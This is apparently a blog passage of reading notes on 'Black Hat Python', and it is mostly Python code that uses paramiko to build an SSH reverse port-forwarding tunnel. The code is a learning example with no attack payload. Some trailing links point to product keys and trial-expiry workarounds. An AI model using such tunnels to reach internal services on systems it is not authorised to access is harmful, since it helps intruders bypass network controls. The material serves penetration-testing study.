"""def get_host_port(spec, default_port):"parse 'hostname:22' into a host and port, with the port optional"args = (spec.split(":", 1) + [default_port])[:2]args[1] = int(args[1])return args[0], args[1]def parse_options():global g_verboseparser = OptionParser(usage="usage: %prog [options] <ssh-server>[:<server-port>]",version="%prog 1.0",description=HELP,)parser.add_option("-q","--quiet",action="store_false",dest="verbose",default=True,help="squelch all informational output",)parser.add_option("-p","--remote-port",action="store",type="int",dest="port",default=DEFAULT_PORT,help="port on server to forward (default: %d)" % DEFAULT_PORT,)parser.add_option("-u","--user",action="store",type="string",dest="user",default=getpass.getuser(),help="username for SSH authentication (default: %s)"% getpass.getuser(),)parser.add_option("-K","--key",action="store",type="string",dest="keyfile",default=None,help="private key file to use for SSH authentication",)parser.add_option("","--no-key",action="store_false",dest="look_for_keys",default=True,help="don't look for or use a private key file",)parser.add_option("-P","--password",action="store_true",dest="readpass",default=False,help="read password (for key or password auth) from stdin",)parser.add_option("-r","--remote",action="store",type="string",dest="remote",default=None,metavar="host:port",help="remote host and port to forward to",)options, args = parser.parse_args()if len(args) != 1:parser.error("Incorrect number of arguments.")if options.remote is None:parser.error("Remote address required (-r).")g_verbose = options.verboseserver_host, server_port = get_host_port(args[0], SSH_PORT)remote_host, remote_port = get_host_port(options.remote, SSH_PORT)return options, (server_host, server_port), (remote_host, remote_port)def main():options, server, remote = parse_options()password = Noneif options.readpass:password = getpass.getpass("Enter SSH password: ")client = paramiko.SSHClient()client.load_system_host_keys()client.set_missing_host_key_policy(paramiko.WarningPolicy())verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))try:client.connect(server[0],server[1],username=options.user,key_filename=options.keyfile,look_for_keys=options.look_for_keys,password=password,)except Exception as e:print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))sys.exit(1)verbose("Now forwarding remote port %d to %s:%d ..."% (options.port, remote[0], remote[1]))try:reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())except KeyboardInterrupt:print("C-c: Port forwarding stopped.")sys.exit(0)if __name__ == "__main__":main()

结语

主要是socket和Paramiko库的学习,TCP连接和代理、netcat代替、SSH和SSH隧道

《Python黑帽子:黑客与渗透测试编程之道》读书笔记(一):网络基础相关推荐

  1. Python黑帽子--黑客与渗透测试编程之道 python3 实现代码

    最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...

  2. Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者

    1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...

  3. Python黑帽子-黑客与渗透测试编程之道

    Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import *#数据包回调函数 def packet_callback ...

  5. 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

    本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者

    目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证

    目录 前言 1.Volatility配置 2.抓取口令的哈希值 3.直接代码注入 4.插入shellcode 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书 ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探

    目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击

    目录 前言 1.urllib2 2.开源web应用安装 3.破解目录和文件位置 4.破解HTML表格认证 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源 ...

  10. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理

    目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...

最新文章

  1. RabbitMQ(十):RabbitMQ 如何保证消息的可靠性
  2. 利用Python自动生成暴力破解的字典
  3. python读写json_python 读写json数据
  4. 《以截屏为基础的演示文档制作软件》(ScreenSteps Pro)更新v2.9.1/含注册机[压缩包]...
  5. 【转】Mac下升级python2.7到python3.6
  6. 1日元是多少人民币(2014年04月23日)
  7. paypal android 教程,android端集成paypal
  8. ldc java_Jvm规范中的LDC_W指令问题?
  9. log file switch (archiving needed) 等待事件一例
  10. BZOJ3168. 【HEOI2013】钙铁锌硒维生素
  11. 今日早报 每日精选12条新闻简报 每天一分钟 知晓天下事 7月11日
  12. sqlserver错误码
  13. Xshell、Xftp软件评估过期解决方案
  14. 流弊了!用Python分分钟把微信头像变卡通,油画,素描!
  15. 漏洞深度分析|Thinkphp 多语言 RCE
  16. 前世今生的痴,问谁可以洞悉
  17. jsp连接数据库,及数据的增删改查,分页
  18. #eeeeee #4D4D4D
  19. Android log查看器
  20. Java中的构造器的作用?(构造方法的作用与特点)

热门文章

  1. Java 设计模式 Adapter 类适配器 模式
  2. windows C++ 网络编程
  3. 网页设计课程设计报告
  4. 21款数据恢复软件,包含电脑PC、手机安卓、与苹果IOS免费下载
  5. arm-linux-gcc交叉编译器和gcc编译器的下载地址
  6. 如何选择VC界面库产品?(四)— DSkinLite vs DirectUI
  7. Visio 2013 Professional专业版密钥
  8. HTML+CSS零基础学习笔记(二)
  9. 【nebula graph】RPM离线搭建nebula graph集群
  10. 自定义View - 仿即刻轮播